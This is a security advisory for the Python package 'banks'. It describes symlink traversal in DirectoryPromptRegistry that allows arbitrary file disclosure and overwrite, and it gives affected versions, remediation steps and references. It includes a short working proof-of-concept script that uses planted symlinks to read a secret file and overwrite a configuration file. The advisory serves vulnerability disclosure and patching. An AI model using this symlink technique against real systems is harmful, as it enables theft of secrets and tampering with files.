Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry
What fixes it
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
In banks.registries.DirectoryPromptRegistry, prompt file paths and the index file (index.json) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via _scan() / get() or overwrite arbitrary files via set() / _save().
Details
Following PR #77, DirectoryPromptRegistry validates path resolution for prompt names. However:
self._index_path(index.json) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by_save()uponreg.set(), or read via_load().- In
_scan(), discovered.jinjafiles are opened and indexed without checking ifpath.is_symlink()or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed. - In
set(),prompt_file.write_text(...)is called without checking ifprompt_fileis an existing symbolic link pointing outside the root.
Impact
Arbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives.
Proof of Concept
import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME
from banks.prompt import Prompt
# Disclose external file via symlink in prompt directory
reg_dir = Path("/tmp/registry")
reg_dir.mkdir(exist_ok=True)
secret = Path("/tmp/secret.txt")
secret.write_text("SECRET_API_TOKEN")
os.symlink(secret, reg_dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg_dir, force_reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)
# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write_text("ORIGINAL")
(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)
os.symlink(target, reg_dir / DEFAULT_INDEX_NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read_text())Remediation
- In
_validate_index_path(): verify_index_pathis not a symlink and resolves within_path. - In
_scan(): rejectpath.is_symlink()and checkpath.resolve().is_relative_to(root). - In
set(): reject existing symbolic links before writing.
A tested fix and regression tests have been prepared and pushed to: https://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting
Text from GitHub Advisory Database
Affected versions 40
- banks, pip<= 2.5.0GitHub
- banksaffected: < 2.5.1CVE List
- banks, PyPIfrom first release, fixed in 2.5.1OSV
- banks, PyPI0.0.1OSV
- banks, PyPI0.0.2OSV
- banks, PyPI0.0.3OSV
- banks, PyPI0.1.0OSV
- banks, PyPI0.1.1OSV
- banks, PyPI0.2.0OSV
- banks, PyPI0.3.0OSV
- banks, PyPI0.3.1OSV
- banks, PyPI0.4.1OSV
- banks, PyPI0.5.0OSV
- banks, PyPI0.6.0OSV
- banks, PyPI1.0.0OSV
- banks, PyPI1.1.0OSV
- banks, PyPI1.2.0OSV
- banks, PyPI1.2.1OSV
- banks, PyPI1.3.0OSV
- banks, PyPI1.4.0OSV
- banks, PyPI1.5.0OSV
- banks, PyPI1.6.0OSV
- banks, PyPI1.6.1OSV
- banks, PyPI1.7.0OSV
- banks, PyPI1.7.1OSV
- banks, PyPI1.8.0OSV
- banks, PyPI2.0.0OSV
- banks, PyPI2.1.0OSV
- banks, PyPI2.1.1OSV
- banks, PyPI2.1.2OSV
- banks, PyPI2.1.3OSV
- banks, PyPI2.2.0OSV
- banks, PyPI2.3.0OSV
- banks, PyPI2.4.0OSV
- banks, PyPI2.4.1OSV
- banks, PyPI2.4.2OSV
- banks, PyPI2.4.3OSV
- banks, PyPI2.4.4OSV
- banks, PyPI2.4.5OSV
- banks, PyPI2.5.0OSV
References 5
- github.com/masci/banks/commit/23ed13e50b4e217693fa5f9c30943fac8a41582fFixvia CVE List
- github.com/masci/banks/releases/tag/v2.5.1Fixvia CVE List
- github.com/masci/banks/security/advisories/GHSA-556j-vv39-8rqvAdvisoryvia CVE List
- github.com/advisories/GHSA-556j-vv39-8rqvAdvisoryvia GitHub
- github.com/masci/banks/pull/79Referencevia CVE List